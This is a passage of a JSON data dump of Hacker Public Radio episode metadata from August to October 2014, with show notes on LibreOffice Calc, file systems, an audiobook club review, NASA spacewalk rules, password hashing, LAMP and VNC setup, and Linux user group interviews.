      \n\n","hostid":280,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Tesla,patent,GNU Solidario,GNU Health","version":0,"downloads":0,"valid":1}, {"id":1583,"date":"2014-08-27","title":"Podcast Generator","duration":223,"summary":"Easy software to host a podcast.","notes":"

      \nPodcast Generator - Software which can host your podcast and generate all the RSS feeds.\nhttps://podcastgen.sourceforge.net/\n

      \n

      \nBlue Drava Podcast - a little show I'm working on, hosted using the software.\nhttps://podcast.bluedrava.com\n

      ","hostid":191,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Podcast, Webapp, PHP","version":0,"downloads":0,"valid":1}, {"id":1584,"date":"2014-08-28","title":"An interview with Josh Knapp from AnHonestHost.com","duration":3165,"summary":"We talk to Josh Knapp about his new business AnHonestHost.com","notes":"

      \nFor years our own Josh Knapp has been the real Server Administrator behind Hacker Public Radio, and has been subsidising it out of his own pocket for some time.\n

      \n

      \nHe and a few of his colleagues have decided to branch off and set up their own company. AnHonestHost.com is based on a simple idea; Better web hosting that's honest and fair.\n

      \n

      \nWe discuss the past, the future and how it affects HPR.\n

      ","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"AnHonestHost.com,shared hosting","version":0,"downloads":0,"valid":1}, {"id":1585,"date":"2014-08-29","title":"36 - LibreOffice Calc - Financial Functions - Loan Payments","duration":1346,"summary":"Financial Functions in LibreOffice Calc","notes":"

      In this episode we discuss the function for determining the loan payments on a car loan, compare a manual calculation with the use of the PMT function, and derive some useful lessons.

      \n

      Links:

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"spreadsheet,financial function","version":0,"downloads":0,"valid":1}, {"id":1586,"date":"2014-09-01","title":"HPR Community News for August 2014","duration":4346,"summary":"Dave and Ken review the happenings for the month.","notes":"

      New hosts

      \n

      Welcome to our new hosts:
      Inscius.

      \n

      Last Month's Shows

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      IdDateTitleHost
      15652014-08-0134 - LibreOffice Calc - More on Chart EditingAhuka
      15662014-08-04HPR Community News for July 2014HPR Volunteers
      15672014-08-05Multiboot Partitioning with LinuxMatt McGraw (g33kdad)
      15682014-08-06Blather Speech Recognition for LinuxJon Kulp
      15692014-08-07Many-to-many data relationship howtoMike Ray
      15702014-08-08The JFS File SystemJWP
      15712014-08-11Yahoo Mail ForwarderToeJet
      15722014-08-12An Open Source News Break from Opensource.comsemioticrobotic
      15732014-08-13Make your own t-shirt with bleachQuvmoh
      15742014-08-14Arts and Botsklaatu
      15752014-08-1535 - LibreOffice Calc - Introduction to FunctionsAhuka
      15762014-08-18How I got into LinuxInscius
      15772014-08-19Introducing Nikola the Static Web Site and Blog Generatorguitarman
      15782014-08-20AudioBookClub-08-How to Succeed in Evil:The NovelHPR_AudioBookClub
      15792014-08-21Crowd Sourced Air Quality Monitoringklaatu
      15802014-08-22The fast and ntfs File SystemJWP
      15812014-08-25Sensible Security: The Schneier ModelAhuka
      15822014-08-26An Open Source News Break from Opensource.comsemioticrobotic
      15832014-08-27Podcast GeneratorAukonDK
      15842014-08-28An interview with Josh Knapp from AnHonestHost.comKen Fallon
      15852014-08-2936 - LibreOffice Calc - Financial Functions - Loan PaymentsAhuka
      \n

      Comments this month

      \n

      There are 17 comments:

      \n
        \n
      • hpr1577 (2014-08-19) \"Introducing Nikola the Static Web Site and Blog Generator\" by guitarman.
          \n
        1. x1101 on 2014-08-21: \"Thanks!\"
        2. \n
        3. guitarman on 2014-08-23: \"Cool\"
        4. \n
        \n
        \n
      • \n
      • hpr1570 (2014-08-08) \"The JFS File System\" by JWP.
          \n
        1. Klaatu on 2014-08-11: \"JFS works for me.\"
        2. \n
        \n
        \n
      • \n
      • hpr1569 (2014-08-07) \"Many-to-many data relationship howto\" by Mike Ray.
          \n
        1. Dave Morriss on 2014-08-08: \"Thanks for an impressive show\"
        2. \n
        3. Mike Ray on 2014-08-10: \"Hope it wasn't too long and technical\"
        4. \n
        5. Ken Fallon on 2014-08-11: \"Brilliant episode but I'm still not convinced\"
        6. \n
        7. Mike Ray on 2014-08-11: \"Scalability\"
        8. \n
        9. Ken Fallon on 2014-08-16: \"Scalability is not an issue.\"
        10. \n
        11. Mike Ray on 2014-08-16: \"Scalability\"
        12. \n
        13. Ken Fallon on 2014-08-19: \"Straw Man Argument\"
        14. \n
        15. Mike Ray on 2014-08-21: \"New host name\"
        16. \n
        \n
        \n
      • \n
      • hpr1568 (2014-08-06) \"Blather Speech Recognition for Linux\" by Jon Kulp.
          \n
        1. klaatu on 2014-08-11: \"Amazing!\"
        2. \n
        \n
        \n
      • \n
      • hpr1566 (2014-08-04) \"HPR Community News for July 2014\" by HPR Volunteers.
          \n
        1. Steve Bickle on 2014-08-05: \"How /etc is pronounced\"
        2. \n
        3. Dave Morriss on 2014-08-07: \"Et cetera, and so forth\"
        4. \n
        5. Mike Ray on 2014-08-08: \"/etc blah blah\"
        6. \n
        \n
        \n
      • \n
      • hpr1554 (2014-07-17) \"07 - The Crown Conspiracy\" by HPR_AudioBookClub.
          \n
        1. brijwhiz on 2014-08-03: \"Journey comments and next book podcast\"
        2. \n
        \n
        \n
      • \n
      • hpr1199 (2013-03-07) \"Old Time Radio on the web\" by Frank Bell.
          \n
        1. Mike Ray on 2014-08-08: \"OTR\"
        2. \n
        \n
      • \n
      \n

      Apologies

      \n
        \n
      • guitarman for messing up attribution, and the shownotes
      • \n
      • semioticrobotic for mixing up his shows
      • \n
      ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1587,"date":"2014-09-02","title":"Beginner's guide to the night sky 3 - A wee dot on a dark sky","duration":1809,"summary":"A ramble about stars, by a geeky chap who resides on planet Earth.","notes":"

      \nA ramble about stars, by a geeky chap who resides on planet Earth. This episode\nis entitled a wee dot on a dark sky.\n

      \n

      \nI comment briefly on why it's remarkable\nthat the night sky is dark. I then go on to talk about the colour of stars,\nwhich we can just perceive with the naked eye. To learn more you need to use\na prism, or, as professional astronomers prefer, a diffraction grating to\nobtain a spectrum of a star. I talk a little too much about the mathematics\nof diffraction gratings but eventually get back to talking about\nspectrum of the Sun which in overall shape is very close to what physicists\ncall a black body spectrum (https://en.wikipedia.org/wiki/Black_body)- the spectrum any object will have at a given\ntemperature. Astronomers and physicists prefer to measure temperature\nin units of kelvin (https://en.wikipedia.org/wiki/Kelvin),\nand to convert to it you only need to add 273 to the\ncelsius temperature. Conversion from Fahrenheit is left as an exercise\nto the listener.\n

      \n

      \nThe Sun shows spectral lines, specifically dark lines on the broad spectrum\ncalled absorptions lines. This is caused by atoms in a cooler layer of gas\n(called the chromosphere) that's just above the bright surface of the Sun\n(called the photosphere). In fact, Helium is named as such because it was\nfirst discovered by its absorption lines in the solar spectrum (Helios\nis Greek for Sun). Many other elements can be found in the spectrum of\nthe Sun and other stars, but most of the mass of all stars is made up\nof hydrogen and helium.\n

      \n

      \nThe temperature of a star is correlated with colour, with blue stars being\nhotter than red stars. This was originally measured by astronomers by\nsomething called colour or B-V (B minus V) index.\n

      \n

      \nThe luminosity of a star is the rate\nat which it emits energy as light, and can be measured in the same units\nas light bulbs, i.e. watts (W). But to estimate the luminosity we need\nto know the distance to a star which, for nearby stars, can be \nfound by the parallax method. By plotting colour index (a proxy\nfor temperature) against luminosity we can form a key piece of empirical\nevidence - the Hertzsprung Russell diagram: https://en.wikipedia.org/wiki/Hertzsprung%E2%80%93Russell_diagram \n

      \n

      \nIt turns out that our nearest star - the Sun - is quite unremarkable. It is neither very hot or cool, nor\nvery bright or dim - it's a fairly typical star.\n

      ","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"astronomy,star,hydrogen,helium","version":0,"downloads":0,"valid":1}, {"id":1588,"date":"2014-09-03","title":"HPR AudioBookClub-09-Down And Out In The Magic Kingdom","duration":8952,"summary":"In this episode, the HPR_AudioBookClub reviews Down And Out In The Magic Kingdom by Cory Doctorow.","notes":"

      SUMMARY

      \n

      In this episode, the HPR_AudioBookClub reviews Down And Out In The Magic Kingdom by Cory Doctorow. You can download this AudioBook for free (or voluntary donation) from podiobooks.com. https://podiobooks.com/title/down-and-out-in-the-magic-kingdom/ and it's also available in just about every ebook format you can imagine on Cory's website craphound.com. https://craphound.com/down/?page_id=1625 and as a paperback through various booksellers. We found this AudioBook enjoyable and thought provoking. The general consensus that we seem to have reached is that while the book left the reader with many unanswered questions about the world in which the book was set, they are welcome questions. It's brain bending fun.

      \n

      FiftyOneFifty (the link-king) found some cool links relating to the Haunted House and how it works. Check these out!

      \n \n

      gigasphere wrote in to say,

      \n
      I listened to this book in the space of a couple of days mostly. At first it took some time to get into but then was quite enjoyable, however in the second half I started to find it a bit hard going. The story is told exclusively in the first person (I think that's right) and as the story went on I found it quite difficult not having external points of view or reference. This is probably also due to good story telling as the main Character Jules is also getting frustrated and is increasingly isolated. The book was interesting and unique even before you got to the plot line and aspects of the world the characters were living in. I would recommend the book as an example of an interesting method of story telling and I'm keen to pick up the other big Cory Doctorow book, \"Little Brother\".
      \n

      gigasphere's spoilers (Highlight to read)

      \n
      \n

      From having read the wikipedia page on Cory I can see that Down and Out in the Magic Kingdom, which is Cory's first novel, seems to have a trademark extrapolation with our own reality. The concept of backing up you mind and being brought back from the dead in a clone seems an excellent example of hyper-our-reality at the moment, but to then have everyone capable of being online using implants is also amazingly realistic when you consider the almost boom in wearables going on and the ubiquity of smartphones. I am reminded of the xkcd comic where the guy was having a USB port implanted.
      https://xkcd.com/644/
      The whuffie aspect of the book which replaces money, reminds me a lot of the social media thing of being rated by how many 'followers' or 'likes' or may be even 'hits' you get. This also oddly reminds me of the download stats discussion on the mailing list at the moment.
      I'm not sure I'll add much to the overall discussion of the book from here as my no spoiler summary really rounds up the book for me. I would have liked to have a broader telling of the story, particularly from Lil's perspective, but the restrictions placed on the story also work to make it great, in that you are forced, as in real life, to view the world through only one person's eyes.

      \n
      \n

      BEVERAGE REVIEWS

      \n

      We think you'll agree that the HPR_AudioBookClub really showed up for this one and they brought some all-star beverages. Please enjoy this episode responsibly.

      \n
        \n
      • x1101 just wanted to make us all jealous. He brought a Lagunitas Imperial Stout to our little party and enjoyed it as much as any of us would have.
        https://lagunitas.com/beers/imperial-stout/
      • \n
      • FiftyOneFifty was slightly disappointed by his German style Doublebock, FIREMAN'S BREW: Brunette. He says it's an unprepossessing brew, but perhaps worth it for fans of beer made with chocolate malts. Not very sweet for a dopplebock, and without much hops note except for a slight spicy kick, despite a general thinness in the flavor, it has enough cocoa flavor to satisfy fans of beers made with chocolate malt, at least until they find a better one.
        https://www.firemansbrew.com/offdutydrinks-brunette
      • \n
      • The planets aligned and dictated that Semioticrobotic bring his favorite tea, Ginger Twist by Mighty Leaf, to our little show. It's a zippy but soothing herbal tea (technically, then, a tisane) that combines strong ginger flavors with lemon-grass and mint.
        https://www.mightyleaf.com/product/ginger-twist-herbal-tea-pouches/
      • \n
      • pokey's limited run microbrew, Saison du Buff, is a collaboration between three breweries; Dogfish Head Ales, Stone Brewing Co., and Victory Brewing Company. It can be purchased from any of the three, and if you're lucky enough to find some you should do exactly that. pokey described it as a little spicy, very complex and really enjoyable. Big thumbs up.
        https://www.dogfish.com/brews-spirits/the-brews/collaborations/Saison-du-BUFF.htm
        https://www.stonebrewing.com/collab/saisondubuff/
        https://www.victorybeer.com/news/victorys-2012-saison-du-buff-available-mid-april/
      • \n
      • pegwole was worshiping at the porcelain vessel. No, not THAT porcelain vessel... The good one. The one that's used to serve Coffee!
        https://en.wikipedia.org/wiki/Coffee
      • \n
      • This month gigasphere wrote in to say,
        \"It's hot over here in the UK South East at the moment (25-30 degrees Celsius, yes that's hot for here!) and I'm swamped with work so I have a really boring Apple and Elderflower Juice for my drink this month. I have an Ale on the shelf that I haven't tried before but will save that for next time round when I should have a more manageable workload. On the plus side my juice is really cold and refreshing with a really strong and pleasant flavour (sic)2. It's a fresh juice and so has been kept refrigerated. Now everyone can stop laughing1 at me and get back to their proper drinks!\"
        https://www.copellafruitjuices.co.uk/juices
      • \n
      • Rather than simply reviewing a beverage like the rest of us, Thaj (attention seeker that he is) risked his life on the show by ingesting a potentially lethal amount of Dihydrogen Monoxide! The HPR_AudioBookClub does not condone this type of risky behavior, and if you are entertained by it, then you're probably a bad person.
        https://www.dhmo.org/facts.html
      • \n
      \n

      OUR NEXT TWO AUDIOBOOKS

      \n

      Revolution Radio by Seth Kenlon
      https://aesdiopod.com/books/

      \n

      AND

      \n

      Street Candles by David Collins-Rivera
      https://www.cavalcadeaudio.com/stardrifter.html

      \n

      We're really excited about these two AudioBooks because both of these authors are HPR community members! We're assigning both at once because one is pretty short, and one is pretty long. We were a little worried that people might not finish Street Candles in time to participate, and we think this scheme may buy participants the time they they/we need.

      \n

      Seth Kenlon's personal profile page: https://seth.kenlon.usesthis.com/
      Seth Kenlon's HPR correspondent page: https://hackerpublicradio.org/correspondents/0078.html

      \n

      David Collins-Rivera's personal blog: https://www.cavalcadeaudio.com/index.html
      David Collins-Rivera's HPR correspondent page: https://hackerpublicradio.org/correspondents/0107.html

      \n

      NEXT RECORDING

      \n

      Our next book club recording will be 2014/08/12T23:00:00+00:00. https://en.wikipedia.org/wiki/ISO_8601#Times If you'd like a Google calendar invite, or if you'd like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list 'hpr at hackerpublicradio dot org'

      \n

      FEEDBACK

      \n

      Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.
      As always; remember to visit the HPR contribution page HPR could really use your help right now.

      \n

      https://hackerpublicradio.org/contribute.php

      \n

      Sincerely,
      The HPR_AudioBookClub

      \n

      P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

      \n

      1: The HPR_AudioBookClub doesn't laugh at anyone for reviewing tea, nor any other drink. We intentionally call the segment a \"beverage review,\" not a \"beer review\" so that no one should feel alienated. Also because some of us drink wine.

      \n

      2: The HPR_AudioBookClub does laugh when people try to spell flavor with a \"u\"

      ","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub","version":0,"downloads":0,"valid":1}, {"id":1589,"date":"2014-09-04","title":"KC MakerFair 2014","duration":2749,"summary":"A rundown on all the cool things to see at the KC MakerFair 2014","notes":"

      Mr. Gadgets calls in another show and this time he has been to Kansas City Maker Faire.

      \n

      Maker Faire: Kansas City celebrates things people create themselves — from new technology and electronic gizmos to urban farming and “slow-made” foods to homemade clothes, quilts and sculptures. This family-friendly event demonstrates what and how people are inventing, making and creating. It brings together Makers, Crafters, Inventors, Hackers, Scientists and Artists for a faire full of fun and inspiration.

      \n

      Links

      \n ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"maker faire,Kansas City","version":0,"downloads":0,"valid":1}, {"id":1590,"date":"2014-09-05","title":"The xfs File System","duration":326,"summary":"The xfs File System","notes":"The xfs File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,journalling,64-bit,B+ tree","version":0,"downloads":0,"valid":1}, {"id":1591,"date":"2014-09-08","title":"The Ultimate Cooking Device","duration":1539,"summary":"Using a Weber grill to cook all your food.","notes":"

      \nUsing a Weber grill to cook all your food.\n

      \n\n","hostid":134,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"cooking,grill","version":0,"downloads":0,"valid":1}, {"id":1592,"date":"2014-09-09","title":"An Open Source News Break from Opensource.com","duration":782,"summary":"Open source CMS, tools for making presentations, WikiProject Med","notes":"

      In this episode: Open source CMS applications go head-to-head, open source tools for making presentations, and WikiProject Med.

      \n

      Links:

      \n ","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"CMS,presentation software,Wiki Project Med","version":0,"downloads":0,"valid":1}, {"id":1593,"date":"2014-09-10","title":"Why C++?","duration":745,"summary":"Introduction to the C++ programming language main features","notes":"

      \nIn this episode, Garjola presents the C++ programming language by\nintroducing its main features for object orientation, generic\nprogramming and functional style.\n

      ","hostid":197,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"programming languages, c++","version":0,"downloads":0,"valid":1}, {"id":1594,"date":"2014-09-11","title":"Steam and wine with linux","duration":1033,"summary":"How to coax a windows-only steam game to work under steam in GNU/Linux.","notes":"

      This isn't about my worshiping of Bacchus by playing games on linux in a sauna (that's for a future show) but instead about getting a Windows-only Steam game to work on a recent 64 bit linux distro. I'm using Slackware, but I suspect the pitfalls and solutions I encountered would be similar on other distros.

      \n

      Links relevant to this adventure:

      \n ","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,gaming,wine,steam,slackware","version":0,"downloads":0,"valid":1}, {"id":1595,"date":"2014-09-12","title":"37 - LibreOffice Calc - More Financial Functions","duration":1038,"summary":"A look at financial functions and constructing a mortgage repayment schedule","notes":"

      We take a look at a number of related financial functions in this episode, and discover that they are strongly related by using the same variables over and over. We construct a Mortgage Repayment Schedule, and look again at the principles of good spreadsheet construction.

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, functions, finance, mortgage","version":0,"downloads":0,"valid":1}, {"id":1596,"date":"2014-09-15","title":"About the Word \"Hack\"","duration":811,"summary":"Klaatu muses about the word \"hack\"","notes":"

      Klaatu muses about the word \"hack\" and what it means, what it should mean, and how we can keep it meaningful.

      ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hack,hacker","version":0,"downloads":0,"valid":1}, {"id":1597,"date":"2014-09-16","title":"Extravehicular Activity","duration":850,"summary":"NASA guidelines for EVA from spacecraft are detailed and painstaking, not so films.","notes":"

      EVA - The Rules for Extravehicular Activity

      \n

      Here I dip into the NASA experience of and rules for Extravehicular Activity, prompted at first by watching a film called The Europa Report, directed by Sebastian Cordero (2013).

      \n

      WARNING - THIS PODCAST CONTAINS SPOILERS

      \n

      While I have some gripes about the film, I was impressed by its general failfulness to the science

      \n
        \n
      • It thought to find life on Europa, a moon of Jupiter considered by real exobiologists and planetary scientists to be a good candidate
      • \n
      • Neil deGrasse Tyson made a cameo appearance
      • \n
      • The portrayal of Europa's geography and character
      • \n
      • Having to drill through the ice to get at the sea below
      • \n
      • The behaviour of the crew as scientists and engineers
      • \n
      \n

      Science consultant on the film was Kevin Hand, an astrobiologist and expert on Europa at NASA's Jet Propulsion Laboratory

      \n

      To my mind, the scientists were behaving like scientists and the engineers behaved like engineers. To follow along it might help to recall their names

      \n
        \n
      • Captain - Willam Xu
      • \n
      • Pilot - Rosa Dasque
      • \n
      • Chief scientist - Daniel Luxembourg
      • \n
      • Marine biologist - Katya Petrovna
      • \n
      • Junior engineer - James Corrigan
      • \n
      • Chief engineer - Andrei Blok
      • \n
      \n

      All was going scientifically until the director drove the plot forward with two EVA incidents

      \n

      EVA-1 : Flash back episode, engineers James and Andre go out to fix a failed communications circuit

      \n
        \n
      • Andre rips his suit
      • \n
      • James gets squirted with rocket fuel
      • \n
      • Only one astronaut survives
      • \n
      \n

      I have problems with this because it's just too clumsy for trained professional astronauts. Where are the decontamination procedures, the tethers, the special tools?

      \n

      EVA-2 : Down on the surface, Marine biologist Katya decides to walk out alone

      \n
        \n
      • Tourtured debate in the ship
      • \n
      • Of four able and expendable crew members, none go with her
      • \n
      • Katya does not come back alive
      • \n
      \n

      With this I am shouting at the screen \"No Way! Where's the fracking operating manual? No one goes EVA on their own\"

      \n

      So, that is why I researched the NASA rules for Extravehicular Activity. And I found that none of these events would have happened the way they were shown, had the crew, who were so professional in every other way, followed the NASA procedures.

      \n

      The two astronauts issue

      \n
        \n
      • The most recent occasion where an astronaut went solo EVA was in 1971, when David Scott stuck his head out of the airlock of Apollo 15.
      • \n
      • Most recent before that was in 1966, when Buzz Aldrin went EVA from Gemini 12 (Gemini craft only had two crew).
      • \n
      • Since 1971, there have been 358 space walks and every single one has had two crew.
      • \n
      • I found no written regulation, but de-facto, nobody leaves the spacecraft alone.
      • \n
      \n

      NASA procedures

      \n

      NASA documents on the internet discuss in exhaustive detail all considerations for EVA. What I present is a cherry-picked handful. I could not cover all of it

      \n
        \n
      • reasons for EVA
      • \n
      • alternatives
      • \n
      • planning
      • \n
      • hazard mitigation
      • \n
      • procedures for safe conduct
      • \n
      • fall-back procedures
      • \n
      • failure handling
      • \n
      • accident control
      • \n
      \n

      International Space Station (ISS) EVA Procedures Checklists

      \n
        \n
      • Presuming that all the equipment maintenance checks, and readiness checks have alread been done
          \n
        • 30 minutes of Airlock preparation and testing
        • \n
        • 30 minutes of changing components for the suit to fit the astronaut
        • \n
        • 170 minutes of EVA-Prep
        • \n
        \n
      • \n
      • Then you are ready to depressurise and leave the airlock
      • \n
      • EVA might last 2 - 8 hours
      • \n
      • Post EVA
          \n
        • 30 minute procedure to take the suit off
        • \n
        • 10 minute procedure to disconnect internal equipment
        • \n
        • Recharge & maintain the Extravehicular Mobility Unit (EMU)
        • \n
        • Clean & maintain the Suit
        • \n
        \n
      • \n
      \n

      Although this podcast is about EVA, it does reference the science in a film that I enjoyed and respect very much, so here is a gem that I only came across while researching the landing site. In the scientific journal Nature, Volume 479, 16 November 2011, Britney Schmidt et al, of University of Texas, Austin, published a paper titled \"Active formation of 'chaos terrain' over shallow subsurface water on Europa.\" In the paper these authors suggest that in the Conemara zone of the Chaos Terrain, an area on the surface of Europa, the ice may be as little as 3 km thick. Then in the film the Conemara Chaos was the targetted landing zone and the drill broke through the ice at a depth of 2800m.

      \n

      Well there is one more thing that the podcast says, but it is the ultimate spoiler. So if you have not already listened to the podcast, I highly recommend that you watch the film first.

      \n
      \n

      Links

      \n ","hostid":284,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"extravehicular, space, spacewalk, spaceship, nasa, movie, film, science fiction, science","version":0,"downloads":0,"valid":1}, {"id":1598,"date":"2014-09-17","title":"Hashing and Password Security","duration":1588,"summary":"Understanding password security begins with understanding hashing.","notes":"

      Today, the most common way of providing security in giving access to data or systems is through the use of passwords. Practically every online site now expects you to create an account with a password, which will let you post comments, order products, conduct business, or just post to social media. The implication is that insisting on passwords provides some level of security. Now, following on our last tutorial we should ask a few questions about just how effective this measure is, since someone posting in your name to Twitter is significantly different from someone accessing your bank account. And since the assets being protected are very different, it would be reasonable to approach the problem of security somewhat differently in these cases. But given the ubiquity of passwords as the authentication for online accounts, we need to look at the security involved. Note that I am approaching this from the standpoint of the owner of the site in question for this tutorial, and will follow up with a look at your own role in this.
      For more go to https://www.zwilnik.com/?page_id=640

      \n

      Links:

      \n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"hashing, passwords","version":0,"downloads":0,"valid":1}, {"id":1599,"date":"2014-09-18","title":"Interview with Ingmar Steiner from the MaryTTS project","duration":5148,"summary":"Ken interviews Ingmar Steiner from the MaryTTS text to speech project.","notes":"

      In today's show Ken interviews Ingmar Steiner who is the lead developer for the mary text to speech project. MaryTTS is an open-source, multilingual text-to-speech synthesis system written in pure java and is released under the LGPL. During the interview we get a history of the project, and dive into speech synthesis and we look at how to make your own voices.

      \"Photo

      Links

      \n ","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"text to speech,MaryTTS,ORCA","version":0,"downloads":0,"valid":1}, {"id":1600,"date":"2014-09-19","title":"The zfs File System","duration":436,"summary":"The zfs File System","notes":"The zfs File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,copy-on-write,snapshot,RAID-Z","version":0,"downloads":0,"valid":1}, {"id":1601,"date":"2014-09-22","title":"Howto Install LAMP","duration":937,"summary":"Klaatu introduces new web developers to LAMP.","notes":"

      If you're just starting out as a web developer or\ndesigner, you should know about LAMP and how to use it. This episode\nintroduces you to the basics.\n

      \n

      \nLAMP (software bundle)
      \nFrom Wikipedia, the free encyclopedia
      \nLAMP is an acronym for an archetypal model of web service solution stacks, originally consisting of largely interchangeable components: Linux, the Apache HTTP Server, the MySQL relational database management system, and the PHP programming language. As a solution stack, LAMP is suitable for building dynamic web sites and web applications.\n
      \nhttps://en.wikipedia.org/wiki/LAMP_%28software_bundle%29\n

      ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"LAMP","version":0,"downloads":0,"valid":1}, {"id":1602,"date":"2014-09-23","title":"An Open Source News Break from Opensource.com","duration":1069,"summary":"Data-driven journalism, open source password management, and open electronics","notes":"

      \nIn this episode: Data-driven journalism with Journalism++, open source password management, and open electronics with Spark.\n

      \n

      \nLinks:\n

      \n\n\n","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"data journalism,password management,Spark Core","version":0,"downloads":0,"valid":1}, {"id":1603,"date":"2014-09-24","title":"GUADEC 2014: Matthew Garrett Interview","duration":890,"summary":"I was able to ask GUADEC Keynote Speaker and free software activist Matthew Garrett a few questions.","notes":"

      This year's GUADEC, the Gnome Users and Developers Conference was held in Strasbourg, France. Keynote Speaker was free software activist Matthew Garrett. He held an inspiring speech on the Linux and Gnome desktop and laid out his vision for both. Afterwards, I was able to ask him a few questions.

      \n

      For any reactions, mail me at mail (at) linuxohneangst.net

      \n

      Enjoy.

      \n

      Links

      \n ","hostid":285,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Gnome, Guadec, Desktop, Garrett","version":0,"downloads":0,"valid":1}, {"id":1604,"date":"2014-09-25","title":"How I Got Into Linux","duration":1096,"summary":"I sum up my experience with linux from 0 to 1!","notes":"I sum up my experience with linux from 0 to 1!","hostid":286,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"windows,Ubuntu,Puppy,Crunchbang,Arch","version":0,"downloads":0,"valid":1}, {"id":1605,"date":"2014-09-26","title":"38 - LibreOffice Calc - simple Descriptive Statistics","duration":1149,"summary":"Descriptive statistics is how we make basic measurements about a population","notes":"

      In Statistics there are generally speaking two types of analysis, broken down between Descriptive and Inferential statistics. The difference has to do what what claims you are making about the data. If you are simply stating something about the data (e.g. there were more men than women in the sample) that is descriptive. But if you make a claim that something is not likely to occur by chance, for instance, or that something is statistically significant (and both of those statements are essentially the same thing) then you are in the realm of inferential statistics. Calc has functions to do both kinds of analysis, and this tutorial will examine some of the common descriptive statistics in Calc and how they are used. - For more go to https://www.ahuka.com/?page_id=844

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, functions, descriptive statistics","version":0,"downloads":0,"valid":1}, {"id":1606,"date":"2014-09-29","title":"Howto VNC","duration":843,"summary":"Klaatu talks about how to get VNC up and running.","notes":"

      Klaatu talks about how to get VNC up and running. It focuses on x11vnc but basically it applies to any variety.

      \n

      Virtual Network Computing
      From Wikipedia, the free encyclopedia
      \n
      In computing, Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction, over a network.
      VNC is platform-independent – There are clients and servers for many GUI-based operating systems and for Java. Multiple clients may connect to a VNC server at the same time. Popular uses for this technology include remote technical support and accessing files on one's work computer from one's home computer, or vice versa.
      VNC was originally developed at the Olivetti & Oracle Research Lab in Cambridge, United Kingdom. The original VNC source code and many modern derivatives are open source under the GNU General Public License.
      There are a number of variants of VNC which offer their own particular functionality; e.g., some optimised for Microsoft Windows, or offering file transfer (not part of VNC proper), etc. Many are compatible (without their added features) with VNC proper in the sense that a viewer of one flavour can connect with a server of another; others are based on VNC code but not compatible with standard VNC.
      VNC and RFB are registered trademarks of RealVNC Ltd. in the U.S. and in other countries.

      \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"VNC,Virtual Network Computing","version":0,"downloads":0,"valid":1}, {"id":1607,"date":"2014-09-30","title":"Migrating from Drupal 6 to Nikola","duration":573,"summary":"I explain how I migrated my Drupal 6 blog to Nikola.","notes":"

      \nI talk about the migration of my blog from Drupal 6 to Nikola. I explain\nwhy I wanted to migrate, and I tell about the script I used.\n

      \n

      \nDetails and scripts can be found on my blog:\nhttps://blog.johanv.org/posts/drupal-nikola.html\n

      \n

      \nSee also:\n

      \n\n","hostid":233,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"drupal,nikola,blogging","version":0,"downloads":0,"valid":1}, {"id":1608,"date":"2014-10-01","title":"Interviews at Lincoln LUG","duration":2707,"summary":"A collection of short interviews with Lincoln LUG members. ","notes":"

      In today's show, Philip Newborough interviews fellow members of Lincoln LUG. Each interviewee is asked 3 simple questions:

      \n
        \n
      1. What was your first experience of Linux?
      2. \n
      3. What distro and desktop environment/window manager are you currently using?
      4. \n
      5. What tools/utilities/applications can you not live without?
      6. \n
      \n

      The participating LUG members were not given the questions in advance and the resulting answers were quite varied. Hopefully, this collection of interviews will provide you, the listener, with a good understanding of the broad mix of Linux users who attend Lincoln LUG.

      \"Members

      The members who were interviewed, in order, were:

      \n
        \n
      1. Dave Armour
      2. \n
      3. Myles Thaiss
      4. \n
      5. Phil Gobbett
      6. \n
      7. Jo Minchin
      8. \n
      9. Graham Markall
      10. \n
      11. Sarah Markall
      12. \n
      13. Becky Newborough
      14. \n
      15. Darren Scott
      16. \n
      17. Adrian Farrow
      18. \n
      19. Emma Martin
      20. \n
      \n

